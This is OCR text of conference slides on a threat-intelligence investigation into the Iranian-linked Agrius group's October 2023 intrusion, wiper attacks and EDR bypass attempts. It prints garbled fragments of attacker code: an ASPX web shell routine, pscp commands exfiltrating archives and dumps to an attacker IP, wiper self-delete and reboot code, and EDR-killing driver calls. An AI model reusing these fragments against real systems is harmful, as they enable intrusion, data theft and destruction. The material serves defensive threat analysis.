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Our Story Begins
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What started our investigation?

Thursday afternoon, October 5th, 2023

A very suspicious and rare alert appeared
in our telemetry

Someone was trying to terminate our agent
from the kernel
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Oct. 7
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The Journey begins:
Pulling threads and following breadcrumbs..
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Initial Access and Establishing Foothold:
Vulnerable Web Applications and Web Shells

AS\1.7z Clinetpubiwwwrool\11\11 2ip

“c\windows\system32\cmd.exe® /c arp -a
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Initial Access and Establishing Foothold:
Vulnerable Web Applications and Web Shells

void FbhN(object sender,EventArgs e) pro ted void ThiO(object sender,EventArgs e)//submit cmdshell
{ {
1 ry
{ {
Process precsss Process(); Process prcsss=new Pr s();
prcsss.StartInfo.FileName "c:\\windows\\system32\\cnd.exe"; prcsss.StartInfo.FileName="c:\\windows\\system32\\cmd.exe";
presss.StartInfo.Arguments bkem. Value; prcsss.StartInfo.Arguments=bkcm.Value;
prcsss.StartInfo.UseShellExecute false; prcsss.StartInfo.UseShellExecute= 3
presss.Startinfo.RedirectStandardInput true; prcsss.StartInfo.RedirectStandardInput=1 :
prcsss.Startinfo.RedirectStandardOutput true; prcsss.StartInfo.RedirectStandardOutput=rtrue;
prcsss.Startinfo.RedirectStandardError true; prcsss.StartInfo.RedirectStandardError=1 3
presss.Start(); presss.Start();
string poutPut prcsss.StandardOutput.ReadToEnd(); string poutPut=prcsss.StandardOutput.ReadToEnd();
poutPut poutPut.Replace("<","&1t;"); poutPut=poutPut.Replace("<", "&11;");
poutPut-poutPut.Replace(">","5&gt;"); poutPut=poutPut.Replace(">", "&gt;");
poutPut poutPut.Replace("\r\n","<br>"); poutPut=poutPut.Rey ("\r\n","<br>");
tnQRF.Visible true; jPwDs.Visible=
tnQRF.InnerHtml "<hr width=\"100%\" noshade/><pre>" poutPut "</pre>"; jPwDs.InnerHtml="<hr width=\"100%\" noshade/><pre>"+poutPut+" </pre>";
} }
(Exception error) catch(Excey n error)
{ {
errorshow(error.Message); rrorshow(error.Message);
} }
} Webshell in previous research by SentinelOne } October 2023 Webshell

https://assets.sentinelone.com/sentinellabs/evol-agrius

Webshell similarities with previous research
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Reconnaissance: NBTScan, Wineggdrop, and
Nimscan Port Scanners

NBTScan

Wineggdrop
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Attack Timeline, October 2023

5.10.2023 6.10.2023 -
reconnaissance evening
Attacker

and later

movement in DMz A Jained local
administrato
r
5.10.2023 6.10.2023 7.10.2023 early
aarly dn y i - _evening in the morning
eartll.he = Attacker Attacker gains
mo;;Ing gains access to the
Initial access to Domain
access LAN env Controller and
from web retrieves a
server domain admin

account

BlueHat IL




Data Exfiltration: A Custom SQL Extractor Tool

Files extraction
and arChiVing . 1A "ROTErE D= database=

Ywimware-3YSTEMS\d, Tz

Writing of the
extracted data to
CSV files
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Data Exfiltration: A Custom SQL Extractor Tool

J 0.0.0, NETFramework, v4.0

B Metadat

¥ References =3 8
g5.Length == @)

" writel ine(”
() sqlextractor
. args.t

v
# ¢ BaseTypes
Derived Typ

Program() . Nl Bue
text = SQLDUMP, Query(

SqlDatasdepter

DataYable();

1= st Empty)

v Mritel ine

Base T'_.pes args.Length » 2 BR args[i].Totower().Containa
Derived Types LAY
updateFormEvent : updateFormEventHandler {
SQLOUMP(

Compress(byte{]) : byte{]

> 2 8K args[3).Totower().C
Connnow(string, string, strng, string) : string S izgiee s el holep iy rect 1
Connnew2(string) : string a.tiritel fae
DumpTableToFile{SqiConnection, string, string) : void
DumpTableToFileRange{SqglConnection, string, string, string) : void
DumpTableToFileSample(SqiConnection, string, string, long) : void

OMPE -

le.vriteline

getCSV(stringl], SqlConnection) : void
getCSVSample(stning|], SqiConnection, long) : void
Query(SqiConnection, string) : string

* updateFormDelegateArgs

¥ [ updateFormEventHandler
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Data Exfiltration: A Custom SQL Extractor Tool

psCp.eXe -pw 1.7z root@109.237.107.212:/tmp/temp/

Data exfiltration

PSCP.EKE -PW *.ezip root@109.237.107.212:/tmp/temp/

using pscp

*.dmp root@109.237.107 21 2:/tmp/temp/
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Attack Timeline, October 2023
5.10.2023 6.10.2023 -
reconnaissance evening 7.10.2023
and later Attacker after-noon
movement in DMZ gained local Started data
administrato exfiltration
r
5.10.2023 6.10.2023 7.10.2023 early
early in - _evening in the morning
_theL Attacker Attacker gains
morning gains access to the
Initial access to Domain
access LAN env Controller and
from web retrieves a
server domain admin

account
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And then.. Wipers!
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Attack Timeline, October 2023

5.10.2023 6.10.2023 -
reconnaissance w 7.10.2023 9.10.2023 noon
and later Attacker after-noon Attacker lost
movement in DMz 9dained local Started data connection to
administrato exfiltration the network
r
5.10.2023 6.10.2023 7.10.2023 early 8.10.2023
y_i —_evening in the morning Attempted
earghe - Attacker Attacker gains deletion of
mo;;Ing gains access to the evidence and
Initial access to Domain causing
access LAN env Controller and damage
from web retrieves a
server domain admin

account
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Data Destruction: Wipers

ChatGPT

Awiperis atool or device used for cleaning or wiping surfaces, such as windshield wipers for

Designed to cause destruction

® Destroy data

® Render the system unusable

® Frase evidence of execution

® Not a Ransomware
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Build your own wiper in 4 steps

Step 1: File enumeration DUMMIE S

Step 2: Overwriting files with Jjunk

Step 3: MBR Corruption

A Reference
for the

Step 4: Force reboot! Rest of Us!

FREE eTips at dummies.com
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Data Destruction: The Discovery of Three Previously
Undocumented Wipers

PartialWasher MultiLayer BFG Agonizer
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Data Destruction: The Discovery of Three Previously
Undocumented Wipers

S /p

PartialWasher
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Data Destruction: The Discovery of Three Previously
Undocumented Wipers

strcpy(!

strepy(Prochase, ™
N nProcess -
memset(8modinfo, 8, sizeof(modinfo));
hModule = ) : { : ’
K32GetModuleInformation(hProcess, hModule, &modinfo, @xCu);
NtdllBase modinfo.lpBase0fDll;
} = CreateFilew @
&1 : A 1e
@) (Ntd11M
%€ tdl
1 1ead ->F
{
] {&r f
iginalFirstThunk); ¢ nt headers->FileHeader.SizeOfOptionalHeader);
am
>Name
n ion na
ta 1N cti ) =
BFG Agonizer
J t m
3 ade a
o next section_name < text_section_na
c if ( next section name != text sectio wame(1)
IAT unhooking Al i :
tior ad ! )
DLL unhooking
_Stricep(f tionName, ti xclude
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Data Destruction: The Discovery of Three Previously
Undocumented Wipers

PartialWasher MultiLayer BFG Agonizer

|

Code similarities with previously known tools:

Apostle
Fantasy
IPSec Helper
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The MultilLayer Wiper: 1lst Clue of its Origin

void [SelfOelete() 4
{ Apostl
() tring str - PublicFunction.GetWind Path “remover.bat™;
{ tring ownPath - PublicFunction.
1 ryAssesbly 2 s ¢ (y: t "$echo off del ownPath - if Exi ownPath
entryAsse O%l : > \)» - A ind Lrv) \syste rundii32.exe advapid2.dll,ProcessidleTasks\ndel W";
text (entryAssembly ) entryAssembly ; File.writeAllText(str, contents);
text2 .Get () + pmover.bat”™; PublicFunction.ExecuteProcess(str);
contents L { 5 Ll }
{
< fT\n:1 jel » B SelfDeletelX —" o)
text, {
ie InitClass initClass InitClass();
- = » 155 TileClass f 155
text., figClass instance  ComfigClass.Inmstance;
TO0 loop\nXwindirXk system32 undl132.exe advapi32.dll, ProcessidleTasks”, RegistryClass registryClass RegistryClass();
tring ownPath - PublicFunction.GetOwniatin();
e ’ tring str - PublicFunction.GetWindowsTe thl() “resover.bat™;
t J directoryName  Path.(etDirectoryvane (ownPath);
12 tring fileName - Path.Getf | leNase (ownPath);
(text2, contents); Y {::;:é;\mtenr PublicFunction, G vicehamel();
(srring. I rianty(serviceNane) )
i fileContent pecho of f\n: Lloop\ndel ' ownPath
. ( ; . tartinfo(text2) GOTO loop\nwwindiry rund 132, exe advapil2.dl of
: fileContent ECHO OFF " - Environment . Newl ine SET PROG=H\ "% directoryNase
£ “_ - Environsent.Newi ine SET SERVICE_EXE=N\"¥ f1leName W Environment.Newi ine
ProcessiindowStyle fileClass.writeAllText(str, fileContent);
)i f g fileSocurce  registryClass.fe egistrykey(PeblicVariable.NodelnstallRegistryRunPath,
) this.Ack(message.GetNodeld(), message.GetMessageld());
(Excepti 9 initClass. RemoveFoot th
p fileClass.0 e(fileSource);
? . instance.SelfDeletel);
ex. heletel)s
{ )3 MultilLayer LogClass.Sel theLete();
PublicFunction.Execute esslistr); IPsec Helper
)

https://assets.sentinelone.com/sentinellabs/evol-agrius

SelfDelete function code similarities



https://assets.sentinelone.com/sentinellabs/evol-agrius

The MultilLayer Wiper: 2nd Clue of its Origin
< > ( directoryName, i extensionList, allFileSelected)
: Aist 4 >();
f( am. (directoryNamse))
: list
( directoryName2 (directoryName))
1ist. ( 3ran (directoryName2, extensionlist, allfFileSelected));
1ist. Ra (F pran (directoryName2, extensionList, allFileSelected));
)
Recursive directory ) Multilayer’s “MultilList” component
listing function
code similarities ; GetSubDirectoryFilelListRecursive( Tring directoryName)
with the Fantasy 7
: [] directories = Direct .GetDirectories(directoryName);
wlper foreach (string directoryNeme2 in directcries)
{
GetDirectoryFilelist(directoryNamp2);
GetSubDirectoryFilelistRecursive(directoryName2);
}
}
catch ( eption)
{ .
} Fantasy wiper
}

https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper—-supply-chain-attack/




The Multilayer Wiper:

Reboot function
code similarities
with another
known wiper
dubbed Apostle

3rd Clue of its Origin

ublic wvoid Method(int flg = 2)
currentProcess = Tool.GetCurrentProcess();
Zero = -Zero;
Tool.OpenProcessToken{currentProcess, 48, ref zero);
Too tokPriviuld; MultiLayer wiper
tokPriviLuld.Count = 1;
tokPriviuld.LulId = @L;
tokPriviuld.Attr = 2;
Tool. LookupPrivi =Walue(null, "SesShutdownPrivilege”, ref tokPriviuId.LuId);
Ta vileges(zero, false, ref tokPrivLuld, @, .fero, Zero);
tWindowsEx(flg, ©);

settokenPrivs{int flag = 2)

IntPtr currentProcess = GetCurrentProcess();

IntPtr phtok = IntPtr.Zero;

OpenProcessToken|currentProcess, 48, ref phtok);
KEN_PRIVILEGES newst = default{ TOKEN PRIVILEGES):

newst.Privilegedount = 1;

newst.lpLuid = 8L;

newst. Attributes = 2;

LookupPrivilegevalue(

AdjustTokenPrivileges{phtok, disall: *z

Exitwindowsex(flag, a);

Apostle wiper

11, XoRstring("v\uees2n0v” ?(eqf\uees1y\ueeef]=1=\r"), ref newst.lpLuid);
e, ref newst, @, IntPir.Zero, IntPir.Zero);
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Strengthening the Iranian Connection
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Attribution Diamond Model

Adversary

Agonizing Serpens (AKA Agrius, BlackShadow)

Capabilities Infrastructure
Webshells 185.105.46[.]34
Mimikatz 185.105.46([.119
ProcDump 93.188.207[.]1110
NBTScan 109.237.107[.1212

Custom SQL Extraction tool Victim(s) 217.29.62[.1166

Israeli tech and higher

Custom Wipers ,
education sectors

81.177.22[.1182
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Who is Agonizing Serpens (AKA Agrius)?

T 6

An Iranian- Israel ) .
linked APT Active since
2020
group

Fake ransomware Goal #1: Steal and Goal #2: Wreak
and destructive publish PII and havoc and wipe
wipers attacks intellectual property endpoints

BlueHat IL
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Agrius Stepping Up Their Game!
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EDR Bypass Attempt #1

Manipulation
attempt of the
auto-start service
functionally

TAGS SEVERITY ACTION
DS | PANW/XDR Agent (9 High (& Prevented (Blocked)
MODULE DESCRIPTION

® Behavioral Threat Prote... (3 Behavioral threat detected (rule: sync.modify_cryptsve)
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EDR Bypass Attempt #2

GMER loader -
drvIX.exe

An attempt to
terminate the EDR
service

GMER driver

J
printf ("\n\t[INFO] Terminating The Given PID..."})
if ( !DeviceloControl(FilewW, @x9876C@9%4, &pid, 4u, &0utBuffer, 8u, &BytesReturned, @i64) )

1
printf("\n\t[-] Couldnt Kill The Given PID."};
CloseHandle(FilewW});
exit(@);

1

¥

}
printf ("\n%t[+] Successfully Killed The Process."});

CloseHandle(FileW);
return @;

case @x9876(A94:
if { length != 4 || !pid }
{
*ntstatus = exCERBA206;
return @xCeeee286164;

1
J

vadd = £ kill process by pid(*pid);
vid5 = nitstatus;
*ntstatus = wvi44;
goto LABEL 171;

BlueHat IL




EDR Bypass Attempt #3

RentdrvZ2 loader - |v4-
drvIX.exe

v27 = 'f

Another attempt
to terminate the

v25 = $1-
HIWORD(DriverSymboliclink.m256
FileW @ = CreateFileW ©(3Drive

EDR service

jle(FileW 0);

liclink.m256 f32[7

[3]

v2 f :
LOWORD(DriverSymboliclink.m256 3

1(Filew 0, 0x22E0

2{7]) = 3
2] 4 2) = 'n .

$2) =2

+2) = d

2[2 =

2[2])
i nk Bu, \
&

J &

Rentdrv2 driver

case @x22E818u:

if ( Options < @x1@ )

goto LABEL 25;

level = pRentdrv-:level;

vl2 = @;
if ( pRentdrv->level == 1 )
1

vl2 = T _kill process_by pid(pRentdrv->pid);
}

BlueHat IL




Key Takeaways
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Key Takeaways

®¢ TIran uses cyber warfare to advance its military and political agenda:
0 Cyber espilonage
0 Psychological warfare and awareness engineering
0 Obfuscates its involvement via “proxies”

O Wipers as a weapons of mass destruction in modern warfare
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Key Takeaways

¢ Tranian Agrius APT steps up their game:
0 Discovery of three undocumented wipers
0 Custom SQL exfiltration

O Extensive EDR bypass attempts

BlueHat IL



Key Takeaways

A cautionary tale: It can happen to you, too.

® Vulnerable, unpatched internet facing assets.

® Weak password policy, no MFA on admin accounts.

Lastly,

® Context matters, attribution matters.

BlueHat IL



Thank you!

o
Questions®?

a
https://unit42.paloaltonetworks.com/agonizing- ’r\ : f AN\
serpens-targets-israeli-tech-higher-ed-sectors/ A ' /

VN & »
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